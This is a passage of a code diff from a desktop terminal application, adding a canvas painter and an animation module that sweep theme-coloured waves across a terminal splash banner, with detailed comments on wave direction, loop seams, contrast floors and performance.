assert.deepEqual(target.clears, [[0, 0, 1000, 600]]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("lays an opaque theme background under the banner before any glyph", () => {
|
||||||
|
const banner = buildTerminalBanner(112, 46, 17 / 8.4);
|
||||||
|
assert.ok(banner);
|
||||||
|
const target = canvas();
|
||||||
|
assert.equal(paintTerminalBanner(target.canvas, banner, palette, 2), true);
|
||||||
|
assert.equal(target.fills.length, 1);
|
||||||
|
const [ground] = target.fills;
|
||||||
|
assert.deepEqual(ground.args, [0, 0, 1000, 600]);
|
||||||
|
assert.equal(ground.color, palette.background);
|
||||||
|
assert.equal(ground.glyphsBefore, 0);
|
||||||
|
assert.ok(target.draws.length > 0);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("uses visibly distinct theme-derived colors across banner layers", () => {
|
||||||
|
const banner = buildTerminalBanner(112, 46, 17 / 8.4);
|
||||||
|
assert.ok(banner);
|
||||||
|
const target = canvas();
|
||||||
|
paintTerminalBanner(target.canvas, banner, palette, 1);
|
||||||
|
assert.ok(new Set(target.colors).size >= 3);
|
||||||
|
assert.equal(target.colors.includes(""), false);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("fails closed when the banner canvas has no 2d context", () => {
|
||||||
|
const banner = buildTerminalBanner(112, 46, 17 / 8.4);
|
||||||
|
assert.ok(banner);
|
||||||
|
assert.equal(
|
||||||
|
paintTerminalBanner(
|
||||||
|
{
|
||||||
|
height: 0,
|
||||||
|
width: 0,
|
||||||
|
getBoundingClientRect: () => ({ height: 600, width: 1000 }),
|
||||||
|
getContext: () => null,
|
||||||
|
},
|
||||||
|
banner,
|
||||||
|
palette,
|
||||||
|
1,
|
||||||
|
),
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
});
|
||||||
87
desktop/src/features/terminal/terminalBannerPainter.ts
Normal file
87
desktop/src/features/terminal/terminalBannerPainter.ts
Normal file
@@ -0,0 +1,87 @@
|
|||||||
|
import type { TerminalPalette } from "../../shared/theme/terminal-palette";
|
||||||
|
import type { TerminalBanner, TerminalBannerLayer } from "./terminalBanner";
|
||||||
|
import { bannerColor, bannerStops } from "./terminalBannerColor";
|
||||||
|
import {
|
||||||
|
type BannerColorTable,
|
||||||
|
type BannerWaves,
|
||||||
|
makeCellHue,
|
||||||
|
} from "./terminalBannerWave";
|
||||||
|
import { TERMINAL_CELL_METRICS } from "./terminalRenderer";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Optional animation input. ABSENT means the shipped static banner, not a
|
||||||
|
* stopped animation — those differ, because a halted rAF loop still parks on
|
||||||
|
* whatever phase it stopped at. `prefers-reduced-motion` takes this path, and
|
||||||
|
* the painter then calls `bannerColor` with no hue argument, which is the exact
|
||||||
|
* coupled call the static banner shipped with. Verified as byte equality on
|
||||||
|
* every draw call, not asserted by inspection.
|
||||||
|
*/
|
||||||
|
export type TerminalBannerMotion = {
|
||||||
|
phase: { field: number; wordmark: number };
|
||||||
|
table: BannerColorTable;
|
||||||
|
/** Tuning override. Omitted = the shipped FIELD_WAVE/WORDMARK_WAVE constants;
|
||||||
|
* supplied only by the gates that drive each knob to its documented extreme. */
|
||||||
|
waves?: BannerWaves;
|
||||||
|
};
|
||||||
|
|
||||||
|
export function paintTerminalBanner(
|
||||||
|
canvas: HTMLCanvasElement,
|
||||||
|
banner: TerminalBanner,
|
||||||
|
palette: TerminalPalette,
|
||||||
|
dpr: number,
|
||||||
|
motion?: TerminalBannerMotion,
|
||||||
|
): boolean {
|
||||||
|
const bounds = canvas.getBoundingClientRect();
|
||||||
|
const pixelWidth = Math.max(1, Math.round(bounds.width * dpr));
|
||||||
|
const pixelHeight = Math.max(1, Math.round(bounds.height * dpr));
|
||||||
|
if (canvas.width !== pixelWidth) canvas.width = pixelWidth;
|
||||||
|
if (canvas.height !== pixelHeight) canvas.height = pixelHeight;
|
||||||
|
|
||||||
|
const context = canvas.getContext("2d");
|
||||||
|
if (!context) return false;
|
||||||
|
context.setTransform(dpr, 0, 0, dpr, 0, 0);
|
||||||
|
context.clearRect(0, 0, bounds.width, bounds.height);
|
||||||
|
// The overlay sits above the grid canvas, so it needs its own opaque
|
||||||
|
// ground: without one the shell output painted underneath shows through
|
||||||
|
// the gaps between banner glyphs.
|
||||||
|
context.fillStyle = palette.background;
|
||||||
|
context.fillRect(0, 0, bounds.width, bounds.height);
|
||||||
|
context.font = TERMINAL_CELL_METRICS.font;
|
||||||
|
context.textBaseline = "alphabetic";
|
||||||
|
|
||||||
|
// Resolve the colour strategy ONCE, outside the loop: the motion and static
|
||||||
|
// paths differ in what they close over, not per cell. The field wave is a
|
||||||
|
// projection onto a direction vector, so the hue closure needs the banner's
|
||||||
|
// extent in BOTH axes; it is built here so the per-cell path stays four
|
||||||
|
// scalars with no per-cell allocation.
|
||||||
|
const columns = banner.cells[0]?.length ?? 1;
|
||||||
|
const rows = banner.cells.length || 1;
|
||||||
|
const colourOf = motion
|
||||||
|
? (() => {
|
||||||
|
const hueAt = makeCellHue(columns, rows, motion.phase, motion.waves);
|
||||||
|
return (
|
||||||
|
layer: TerminalBannerLayer,
|
||||||
|
t: number,
|
||||||
|
column: number,
|
||||||
|
row: number,
|
||||||
|
) => motion.table.lookup(layer, t, hueAt(layer, t, column, row));
|
||||||
|
})()
|
||||||
|
: (() => {
|
||||||
|
const { stops } = bannerStops(palette);
|
||||||
|
return (layer: TerminalBannerLayer, t: number) =>
|
||||||
|
bannerColor(palette, stops, layer, t);
|
||||||
|
})();
|
||||||
|
|
||||||
|
for (const [row, cells] of banner.cells.entries()) {
|
||||||
|
for (const [column, cell] of cells.entries()) {
|
||||||
|
if (cell.char === " " || !cell.layer) continue;
|
||||||
|
context.fillStyle = colourOf(cell.layer, cell.t, column, row);
|
||||||
|
context.fillText(
|
||||||
|
cell.char,
|
||||||
|
column * TERMINAL_CELL_METRICS.width,
|
||||||
|
row * TERMINAL_CELL_METRICS.height + TERMINAL_CELL_METRICS.baseline,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
1131
desktop/src/features/terminal/terminalBannerWave.test.mjs
Normal file
1131
desktop/src/features/terminal/terminalBannerWave.test.mjs
Normal file
File diff suppressed because it is too large
Load Diff
484
desktop/src/features/terminal/terminalBannerWave.ts
Normal file
484
desktop/src/features/terminal/terminalBannerWave.ts
Normal file
@@ -0,0 +1,484 @@
|
|||||||
|
/**
|
||||||
|
* Terminal banner animation — the MOTION half of the banner contract.
|
||||||
|
*
|
||||||
|
* Geometry (terminalBanner.ts) is static and colour-free; colour
|
||||||
|
* (terminalBannerColor.ts) maps (layer, t, hue) -> hex. This module supplies
|
||||||
|
* the `hue` axis as a function of time and screen position, plus the lookup
|
||||||
|
* table that makes it affordable.
|
||||||
|
*
|
||||||
|
* Tyler, amendment (msg 25bf80a2) — AUTHORITATIVE: the field wave
|
||||||
|
* "originates bottom right and travels top left", not plain right-to-left.
|
||||||
|
* This SUPERSEDES the original directive: "slow waves of the buzz theme colors
|
||||||
|
* moving across the honeycomb lattice right to left, with a separate slow
|
||||||
|
* color wave on the `buzz term` going left to right". The wordmark half is
|
||||||
|
* unchanged by the amendment; only the field's axis moved.
|
||||||
|
*
|
||||||
|
* Two independent waves, different axes, different periods:
|
||||||
|
* - field -> originates bottom-right, travels top-left across the whole
|
||||||
|
* viewport (see FIELD_WAVE.direction = {x:-1, y:-1})
|
||||||
|
* - wordmark -> left-to-right across the wordmark's own ink span
|
||||||
|
*
|
||||||
|
* LOOP SEMANTICS. Phase advances monotonically and wraps at 1 -> 0 (`phaseAt`
|
||||||
|
* via `wrap01`); travel is continuous and one-way for as long as it advances,
|
||||||
|
* and one full cycle translates the pattern by exactly one spatial period, so
|
||||||
|
* the wrap is C0 with no snap and no reversal. The palette axis is folded
|
||||||
|
* (`cyclicRampPosition`) so the open three-stop ramp can be driven by a cyclic
|
||||||
|
* phase without a seam. Proof that folding the palette does NOT fold the motion
|
||||||
|
* is on `cyclicRampPosition` -- read it before touching either.
|
||||||
|
*
|
||||||
|
* The bevels do not animate. They are the chassis; a moving highlight would
|
||||||
|
* read as the box itself deforming.
|
||||||
|
*/
|
||||||
|
import type { TerminalPalette } from "../../shared/theme/terminal-palette";
|
||||||
|
import {
|
||||||
|
type Layer,
|
||||||
|
bannerColor,
|
||||||
|
bannerStops,
|
||||||
|
hex2rgb,
|
||||||
|
lift,
|
||||||
|
rgb2hex,
|
||||||
|
} from "./terminalBannerColor";
|
||||||
|
|
||||||
|
/** WCAG 2.2 SC 1.4.3 body text, the wordmark's floor. Re-declared here because
|
||||||
|
* the interpolated blend has to be re-lifted to it; see `sampleHead`. */
|
||||||
|
const WORDMARK_FLOOR = 4.5;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* ============================================================================
|
||||||
|
* TUNING. Everything Tyler can retune lives in this one block.
|
||||||
|
* ============================================================================
|
||||||
|
*
|
||||||
|
* Two independent waves, one config each. Every knob states its unit and what
|
||||||
|
* "bigger" does. Nothing else in this file needs editing to retune the
|
||||||
|
* animation.
|
||||||
|
*
|
||||||
|
* `direction` is a vector in VISUAL space, not cell space. This matters: a
|
||||||
|
* terminal cell is 8.4 x 17 CSS px, so it is about 2:1 tall, and a naive
|
||||||
|
* (-1,-1) over cell indices would render as a shallow 27-degree wave rather
|
||||||
|
* than the intended diagonal. `projectWave` converts to visual space before
|
||||||
|
* projecting, so a 45-degree vector here looks like 45 degrees on screen.
|
||||||
|
*/
|
||||||
|
export type BannerWaveConfig = {
|
||||||
|
/**
|
||||||
|
* Travel direction in visual space; x grows right, y grows DOWN. The wave
|
||||||
|
* moves TOWARD this vector, so it appears to originate from the opposite
|
||||||
|
* corner. Magnitude is irrelevant — it is normalised.
|
||||||
|
*/
|
||||||
|
direction: { x: number; y: number };
|
||||||
|
/**
|
||||||
|
* Seconds for one full traversal of the colour ramp. BIGGER = SLOWER.
|
||||||
|
* This is ambience, not a screensaver: the direction gate is indifferent to
|
||||||
|
* this value but the "slow" gate requires it to stay above 5s.
|
||||||
|
*/
|
||||||
|
seconds: number;
|
||||||
|
/**
|
||||||
|
* How much of the colour ramp is visible across one screen-width of travel,
|
||||||
|
* in ramp traversals. BIGGER = MORE COLOUR BANDS ON SCREEN AT ONCE (a
|
||||||
|
* tighter, busier wave); smaller = a broader, calmer wash.
|
||||||
|
*
|
||||||
|
* 0.5 is one traversal of the ramp across the span, which is exactly the
|
||||||
|
* spatial colour gradient the static banner shipped with.
|
||||||
|
*
|
||||||
|
* SAFE RANGE 0.125..2.0, measured against the no-worse-than-static gate in
|
||||||
|
* CIEDE2000: worst excess over a theme's own static step is 0.47 at 0.5 and
|
||||||
|
* stays under 0.62 all the way to 2.0. At 4.0 it hits 8.92 and fails 24
|
||||||
|
* themes — that is where the lattice genuinely reads as stripes rather than a
|
||||||
|
* wash. Contrast is INDEPENDENT of this knob (it only rescales position along
|
||||||
|
* an axis whose floors are proven end to end), so the binding constraint here
|
||||||
|
* is spatial busyness, not legibility.
|
||||||
|
*/
|
||||||
|
wavelength: number;
|
||||||
|
/**
|
||||||
|
* Fraction of the colour ramp the wave actually sweeps, 0..1. BIGGER = MORE
|
||||||
|
* COLOUR TRAVEL; 0 pins every cell to the ramp's midpoint (a still, single
|
||||||
|
* colour) and 1 uses the full three-stop sweep.
|
||||||
|
*
|
||||||
|
* CONTRAST-SAFE OVER ITS WHOLE RANGE, and that is a property of the design
|
||||||
|
* rather than of the default: intensity only narrows which part of the hue
|
||||||
|
* axis gets used, and the contrast gate covers the ENTIRE hue axis on all 62
|
||||||
|
* themes. So no value in [0,1] can reach an unsampled, unproven colour.
|
||||||
|
* Values outside [0,1] are clamped for the same reason.
|
||||||
|
*/
|
||||||
|
intensity: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Tyler: field originates BOTTOM-RIGHT and travels to TOP-LEFT, so the
|
||||||
|
* direction vector points up-and-left. The wordmark keeps its own
|
||||||
|
* left-to-right sweep, anchored to the letters rather than the viewport.
|
||||||
|
*
|
||||||
|
* Tyler, amendment (msg 4e7abbc8): "double the animation speed on the buzz
|
||||||
|
* term splash screen". Both periods halved from the original 26s/19s; the
|
||||||
|
* "slow" gate's floor moved from 10s to 5s to match.
|
||||||
|
*/
|
||||||
|
export const FIELD_WAVE: BannerWaveConfig = {
|
||||||
|
direction: { x: -1, y: -1 },
|
||||||
|
seconds: 13,
|
||||||
|
wavelength: 0.5,
|
||||||
|
intensity: 1,
|
||||||
|
};
|
||||||
|
|
||||||
|
export const WORDMARK_WAVE: BannerWaveConfig = {
|
||||||
|
// Left-to-right along the mark's own ink span; y is unused for the wordmark,
|
||||||
|
// whose axis is the geometry's `t`, not a screen position.
|
||||||
|
direction: { x: 1, y: 0 },
|
||||||
|
seconds: 9.5,
|
||||||
|
wavelength: 0.5,
|
||||||
|
intensity: 1,
|
||||||
|
};
|
||||||
|
|
||||||
|
/** Kept as named exports because the "slow" and seam gates assert on them. */
|
||||||
|
export const FIELD_PERIOD_SECONDS = FIELD_WAVE.seconds;
|
||||||
|
export const WORDMARK_PERIOD_SECONDS = WORDMARK_WAVE.seconds;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Sampling resolution of the `hue` axis.
|
||||||
|
*
|
||||||
|
* Bucket COUNT is not what makes the gradient smooth — `lookup` interpolates
|
||||||
|
* between neighbouring samples, so its output is continuous in hue at any
|
||||||
|
* count. I measured the alternative first and it does not work: with
|
||||||
|
* nearest-bucket lookup the worst adjacent-sample step on light-plus only fell
|
||||||
|
* from 22.1 to 7.0 going from 256 buckets to 2048, because the three-stop ramp
|
||||||
|
* has a genuinely steep stretch rather than a quantisation artifact. Eight
|
||||||
|
* times the memory for a step still visible on a light theme is the wrong
|
||||||
|
* trade; interpolating removes the axis entirely.
|
||||||
|
*
|
||||||
|
* So this count controls FIDELITY only: how closely the piecewise-linear
|
||||||
|
* reconstruction tracks the true curved LCh path. 128 samples holds every
|
||||||
|
* shipped theme's deviation from `bannerColor` under the fidelity gate.
|
||||||
|
*/
|
||||||
|
export const HUE_BUCKETS = 128;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Sampling resolution of the field's radial CONTRAST axis, also interpolated.
|
||||||
|
*
|
||||||
|
* This axis does not move, so it costs nothing per frame — but it multiplies
|
||||||
|
* the fill: the field's `atRatio` pin is a 28-step bisection at ~23us a call
|
||||||
|
* against ~0.9us for the wordmark's `lift` path, so the field table is
|
||||||
|
* essentially the whole build cost. Interpolation is what lets this stay small
|
||||||
|
* enough to fill without stalling the reveal.
|
||||||
|
*/
|
||||||
|
export const CONTRAST_BUCKETS = 24;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Position on a sampled axis, as a fractional index into `buckets` samples
|
||||||
|
* taken at bucket CENTRES. Clamped at both ends so the half-bucket beyond the
|
||||||
|
* first and last centres reads as that centre rather than extrapolating.
|
||||||
|
*/
|
||||||
|
const axisPosition = (value: number, buckets: number) =>
|
||||||
|
Math.min(buckets - 1, Math.max(0, Math.min(1, value) * buckets - 0.5));
|
||||||
|
|
||||||
|
/** Wrap into [0,1). Phase is cyclic; a bare modulo leaves negatives negative. */
|
||||||
|
const wrap01 = (value: number) => value - Math.floor(value);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* THE SEAM FIX. A cyclic axis cannot drive an open ramp directly.
|
||||||
|
*
|
||||||
|
* The three-stop ramp is a PATH, not a loop: `ramp(0)` is stop 0 and `ramp(1)`
|
||||||
|
* is stop 2, and those two ends are as far apart as the palette gets. Feeding
|
||||||
|
* it a wrapping phase means that every cycle, somewhere on screen, adjacent
|
||||||
|
* cells straddle the 1 -> 0 wrap and jump the entire width of the palette. On
|
||||||
|
* buzz-dark that seam measured 182.5 in sRGB distance (#3dcf55 against
|
||||||
|
* #7bb7ff) — a hard colour edge sweeping across the lattice once per period,
|
||||||
|
* which is not "slow waves of the theme colours", it is a glitch.
|
||||||
|
*
|
||||||
|
* The fix is to make the cyclic axis traverse the ramp and come back:
|
||||||
|
* 0 -> 1 over the first half of the cycle, 1 -> 0 over the second. The ends
|
||||||
|
* are then interior turning points and adjacency holds everywhere, so the loop
|
||||||
|
* is seamless by construction rather than by choice of period.
|
||||||
|
*
|
||||||
|
* THIS DOES NOT REVERSE THE WAVE, and an earlier version of this comment
|
||||||
|
* claimed it did. The claim was false and it cost a review round (Wren's #4541
|
||||||
|
* gate), so the reasoning is recorded here rather than left to be re-derived.
|
||||||
|
*
|
||||||
|
* Write the field as `hue(x, phase) = A(G(p(x) + phase))`, where `p` is affine
|
||||||
|
* in position (see `projectWave`), `G` is this fold, and `A` is `applyIntensity`
|
||||||
|
* (affine, monotone). Phase enters `G` ONLY through the sum `p(x) + phase`, so
|
||||||
|
* for a shift `d` along +direction, `p(x + d*u) = p(x) - d*wavelength/span` and
|
||||||
|
*
|
||||||
|
* hue(x + d*u, phase + D) = hue(x, phase) for d = D * span / wavelength
|
||||||
|
*
|
||||||
|
* exactly, at every phase, FOR ANY `G` WHATSOEVER. The shape of `G` sets the
|
||||||
|
* spatial PROFILE; it cannot touch the direction of MOTION. `d` has the sign of
|
||||||
|
* `D`, so travel is uniformly one-way for as long as phase advances, and one
|
||||||
|
* full cycle translates the pattern by exactly one spatial period -- continuous
|
||||||
|
* BR->TL travel and a seamless wrap at the same time, not a trade between them.
|
||||||
|
*
|
||||||
|
* The mistake worth not repeating: the fold DOES make a fixed cell's colour
|
||||||
|
* oscillate (cell(60,25) reads 0.5 0.7 0.9 0.9 0.7 0.5 0.3 0.1 0.1 0.3 0.5 over
|
||||||
|
* one cycle). That is a property of a POINT, not of the pattern -- it is what
|
||||||
|
* every travelling wave does to a point it passes over -- and reading it as a
|
||||||
|
* direction reversal is what put the false sentence here. `travelDirection` in
|
||||||
|
* the test file measures the pattern across the WHOLE cycle, including the
|
||||||
|
* alleged turn at phase 0.5 and the wrap, with a time-folded positive control.
|
||||||
|
*
|
||||||
|
* What the fold does cost is aesthetic, not kinematic: the spatial palette
|
||||||
|
* profile is mirrored (A->C->A) rather than circulating (A->B->C->A).
|
||||||
|
*/
|
||||||
|
export function cyclicRampPosition(phase: number): number {
|
||||||
|
const wrapped = wrap01(phase);
|
||||||
|
return wrapped < 0.5 ? wrapped * 2 : 2 - wrapped * 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Cell aspect: cells are 8.4 x 17 CSS px, so one row is ~2.02 columns tall. */
|
||||||
|
const CELL_ASPECT = 17 / 8.4;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Apply `intensity` about the ramp's midpoint. Narrowing rather than scaling
|
||||||
|
* keeps the sweep centred, so turning intensity down fades toward the middle
|
||||||
|
* colour instead of sliding toward one end.
|
||||||
|
*/
|
||||||
|
const applyIntensity = (position: number, intensity: number) =>
|
||||||
|
0.5 + (position - 0.5) * Math.max(0, Math.min(1, intensity));
|
||||||
|
|
||||||
|
/**
|
||||||
|
* THE WAVE AXIS: a projection onto a direction vector in VISUAL space.
|
||||||
|
*
|
||||||
|
* `phase(cell) = (x*dx + y*dy)/wavelength - t*speed`, per Eva's spec, with two
|
||||||
|
* details that are easy to get wrong and invisible in a still frame:
|
||||||
|
*
|
||||||
|
* - ASPECT. Row indices are multiplied by ~2.02 before projecting, because a
|
||||||
|
* cell is about twice as tall as it is wide. Without this a (-1,-1) vector
|
||||||
|
* renders as a ~27-degree wave, not the 45 degrees it reads as in source.
|
||||||
|
* - SIGN. The projection is NEGATED so the wave travels TOWARD `direction`.
|
||||||
|
* A crest sits where the projection is constant; as time advances, holding
|
||||||
|
* it constant requires moving along +direction. For the field's (-1,-1)
|
||||||
|
* that is up-and-left, i.e. originating bottom-right as Tyler asked.
|
||||||
|
*
|
||||||
|
* The normalisation divisor is the projection's own visual span, so
|
||||||
|
* `wavelength` means the same thing (ramp traversals per screen-width) at every
|
||||||
|
* viewport size and for every direction.
|
||||||
|
*/
|
||||||
|
export function projectWave(
|
||||||
|
config: BannerWaveConfig,
|
||||||
|
column: number,
|
||||||
|
row: number,
|
||||||
|
columns: number,
|
||||||
|
rows: number,
|
||||||
|
): number {
|
||||||
|
const { x: dx, y: dy } = config.direction;
|
||||||
|
const length = Math.hypot(dx, dy) || 1;
|
||||||
|
const unitX = dx / length;
|
||||||
|
const unitY = dy / length;
|
||||||
|
const visualY = row * CELL_ASPECT;
|
||||||
|
const visualHeight = Math.max(1, rows * CELL_ASPECT);
|
||||||
|
const span =
|
||||||
|
Math.abs(unitX) * Math.max(1, columns) + Math.abs(unitY) * visualHeight;
|
||||||
|
return (-(column * unitX + visualY * unitY) / span) * config.wavelength;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The field's hue axis: projected position plus phase, folded, then narrowed by
|
||||||
|
* intensity.
|
||||||
|
*/
|
||||||
|
export function fieldHue(
|
||||||
|
config: BannerWaveConfig,
|
||||||
|
column: number,
|
||||||
|
row: number,
|
||||||
|
columns: number,
|
||||||
|
rows: number,
|
||||||
|
phase: number,
|
||||||
|
): number {
|
||||||
|
return applyIntensity(
|
||||||
|
cyclicRampPosition(projectWave(config, column, row, columns, rows) + phase),
|
||||||
|
config.intensity,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The wordmark wave: LEFT TO RIGHT, over the mark's own ink span.
|
||||||
|
*
|
||||||
|
* The geometry already hands us `t` = 0 at the wordmark's left edge to 1 at its
|
||||||
|
* right, so the mark's wave rides that rather than viewport columns: the sweep
|
||||||
|
* stays anchored to the letters at every viewport width. SUBTRACTING phase is
|
||||||
|
* what makes it travel rightward, opposite to the field.
|
||||||
|
*/
|
||||||
|
export function wordmarkHue(
|
||||||
|
config: BannerWaveConfig,
|
||||||
|
t: number,
|
||||||
|
phase: number,
|
||||||
|
): number {
|
||||||
|
const along = config.direction.x >= 0 ? t : 1 - t;
|
||||||
|
return applyIntensity(
|
||||||
|
cyclicRampPosition(along * config.wavelength - phase),
|
||||||
|
config.intensity,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** The pair of wave configs in force. Overridable so the knob-extreme gates can
|
||||||
|
* drive documented settings without mutating module state. */
|
||||||
|
export type BannerWaves = {
|
||||||
|
field: BannerWaveConfig;
|
||||||
|
wordmark: BannerWaveConfig;
|
||||||
|
};
|
||||||
|
export const DEFAULT_WAVES: BannerWaves = {
|
||||||
|
field: FIELD_WAVE,
|
||||||
|
wordmark: WORDMARK_WAVE,
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* A cell's hue axis, as a closure over everything that is constant for a frame.
|
||||||
|
*
|
||||||
|
* The split is deliberate: viewport extent, phase and tuning are per-FRAME, and
|
||||||
|
* only `(layer, t, column, row)` is per-CELL. Passing the frame-constant half
|
||||||
|
* per cell is how this function grew to seven positional arguments and started
|
||||||
|
* breaking its own call sites on every signature change. Closing over them also
|
||||||
|
* keeps the per-cell path allocation-free, which a coordinates object would not.
|
||||||
|
*
|
||||||
|
* Bevels return the ramp midpoint — they are not part of either wave, and
|
||||||
|
* returning `t` here instead would tie the chassis to the field's motion.
|
||||||
|
*/
|
||||||
|
export function makeCellHue(
|
||||||
|
columns: number,
|
||||||
|
rows: number,
|
||||||
|
phase: { field: number; wordmark: number },
|
||||||
|
waves: BannerWaves = DEFAULT_WAVES,
|
||||||
|
): (layer: Layer, t: number, column: number, row: number) => number {
|
||||||
|
return (layer, t, column, row) => {
|
||||||
|
if (layer === "field")
|
||||||
|
return fieldHue(waves.field, column, row, columns, rows, phase.field);
|
||||||
|
if (layer === "head") return wordmarkHue(waves.wordmark, t, phase.wordmark);
|
||||||
|
return 0;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Phase pair at a wall-clock time, in seconds. */
|
||||||
|
export function phaseAt(seconds: number): { field: number; wordmark: number } {
|
||||||
|
return {
|
||||||
|
field: wrap01(seconds / FIELD_WAVE.seconds),
|
||||||
|
wordmark: wrap01(seconds / WORDMARK_WAVE.seconds),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Phase-INDEPENDENT colour table. This is what makes the animation affordable.
|
||||||
|
*
|
||||||
|
* Measured on this box, buzz-dark, median of 7: calling `bannerColor` per cell
|
||||||
|
* costs 42.7ms for a 112x46 banner (256% of a 60Hz frame) and 203ms at 228x90
|
||||||
|
* (1218%). Per-cell-per-frame is not a micro-optimisation problem, it is dead
|
||||||
|
* on arrival by 2.6-12x. The cost is concentrated: the field's `atRatio` pin is
|
||||||
|
* ~23us/cell against ~0.9us for the wordmark's `lift` path.
|
||||||
|
*
|
||||||
|
* The table is keyed on SAMPLED (layer, hue, contrast) and nothing else, so it
|
||||||
|
* does not depend on phase or on time and fills exactly once per palette.
|
||||||
|
* Steady-state frames are a lookup and one lerp.
|
||||||
|
*/
|
||||||
|
export type BannerColorTable = Readonly<{
|
||||||
|
head: readonly string[];
|
||||||
|
field: readonly (readonly string[])[];
|
||||||
|
bevelHi: string;
|
||||||
|
bevelLo: string;
|
||||||
|
lookup: (layer: Layer, t: number, hue: number) => string;
|
||||||
|
}>;
|
||||||
|
|
||||||
|
export function buildBannerColorTable(
|
||||||
|
palette: TerminalPalette,
|
||||||
|
): BannerColorTable {
|
||||||
|
const { stops } = bannerStops(palette);
|
||||||
|
const centre = (index: number, buckets: number) => (index + 0.5) / buckets;
|
||||||
|
|
||||||
|
const head = Array.from({ length: HUE_BUCKETS }, (_, h) =>
|
||||||
|
bannerColor(palette, stops, "head", 0, centre(h, HUE_BUCKETS)),
|
||||||
|
);
|
||||||
|
const field = Array.from({ length: CONTRAST_BUCKETS }, (_, c) =>
|
||||||
|
Array.from({ length: HUE_BUCKETS }, (_, h) =>
|
||||||
|
bannerColor(
|
||||||
|
palette,
|
||||||
|
stops,
|
||||||
|
"field",
|
||||||
|
centre(c, CONTRAST_BUCKETS),
|
||||||
|
centre(h, HUE_BUCKETS),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
const bevelHi = bannerColor(palette, stops, "bevel_hi", 0);
|
||||||
|
const bevelLo = bannerColor(palette, stops, "bevel_lo", 0);
|
||||||
|
|
||||||
|
// NUMERIC MIRRORS of the tables, parsed once at build time. The lookup path is
|
||||||
|
// per-cell-per-frame, and `mix()` re-parses its arguments from hex on every
|
||||||
|
// call — worse, `hex2rgb(b)` sits INSIDE its per-channel map, so it parses `b`
|
||||||
|
// four times. A bilinear field lookup is three nested mixes, so a single cell
|
||||||
|
// cost ~12 string parses plus 3 hex formats. Measured before this change:
|
||||||
|
// 13.6ms/frame of pure lookup at 228x90 (80% of the animated frame, 101.6% of a
|
||||||
|
// 60Hz budget). Parsing once here makes the steady-state path arithmetic.
|
||||||
|
const headRgb = head.map(hex2rgb);
|
||||||
|
const fieldRgb = field.map((row) => row.map(hex2rgb));
|
||||||
|
|
||||||
|
// Quantization is LOAD-BEARING, not incidental. `rgb2hex` rounds and clamps
|
||||||
|
// each channel to an integer, so the old nested-`mix` path quantized its
|
||||||
|
// INTERMEDIATE blend before the outer blend consumed it. Skipping that would
|
||||||
|
// change output bytes — and the WCAG floor and dE00 certificates were measured
|
||||||
|
// against the old bytes. So this reproduces `rgb2hex`'s rounding exactly at the
|
||||||
|
// same point the old path applied it, and byte equality is verified by an
|
||||||
|
// oracle over 20.4M lookups x 62 themes rather than assumed.
|
||||||
|
const quantize = (value: number) =>
|
||||||
|
Math.max(0, Math.min(255, Math.round(value)));
|
||||||
|
const mixRgb = (a: readonly number[], b: readonly number[], u: number) => [
|
||||||
|
quantize(a[0] + (b[0] - a[0]) * u),
|
||||||
|
quantize(a[1] + (b[1] - a[1]) * u),
|
||||||
|
quantize(a[2] + (b[2] - a[2]) * u),
|
||||||
|
];
|
||||||
|
// Same short-circuits as the string `blend` it replaces: at the ends, return
|
||||||
|
// the endpoint untouched rather than round-tripping it.
|
||||||
|
const blendRgb = (a: readonly number[], b: readonly number[], u: number) =>
|
||||||
|
u <= 0 ? a : u >= 1 ? b : mixRgb(a, b, u);
|
||||||
|
|
||||||
|
const sampleHead = (hue: number) => {
|
||||||
|
const position = axisPosition(hue, HUE_BUCKETS);
|
||||||
|
const low = Math.floor(position);
|
||||||
|
const blended = rgb2hex(
|
||||||
|
blendRgb(
|
||||||
|
headRgb[low],
|
||||||
|
headRgb[Math.min(HUE_BUCKETS - 1, low + 1)],
|
||||||
|
position - low,
|
||||||
|
),
|
||||||
|
);
|
||||||
|
// RE-LIFT. The endpoints are solved to sit exactly ON the 4.5 floor, and
|
||||||
|
// contrast is convex in the blend parameter, so the chord between two
|
||||||
|
// on-floor samples passes UNDER it — measured 4.4766 on solarized-light at
|
||||||
|
// hue 0.2188 with 128 buckets. Small, but 4.4766 < 4.5 is a WCAG failure on
|
||||||
|
// shipped pixels, and raising the bucket count only shrinks the dip
|
||||||
|
// asymptotically without ever removing it. Lifting the blend is exact.
|
||||||
|
// `lift` is a no-op when the blend already clears the floor, which is the
|
||||||
|
// overwhelming majority of lookups.
|
||||||
|
return lift(blended, palette.background, WORDMARK_FLOOR);
|
||||||
|
};
|
||||||
|
|
||||||
|
return {
|
||||||
|
head,
|
||||||
|
field,
|
||||||
|
bevelHi,
|
||||||
|
bevelLo,
|
||||||
|
// Bilinear on (contrast, hue) for the field, linear on hue for the
|
||||||
|
// wordmark. This is what makes the output continuous in hue, so bucket
|
||||||
|
// count is a fidelity knob rather than the thing standing between the
|
||||||
|
// gradient and visible banding.
|
||||||
|
lookup: (layer, t, hue) => {
|
||||||
|
switch (layer) {
|
||||||
|
case "head":
|
||||||
|
return sampleHead(hue);
|
||||||
|
case "field": {
|
||||||
|
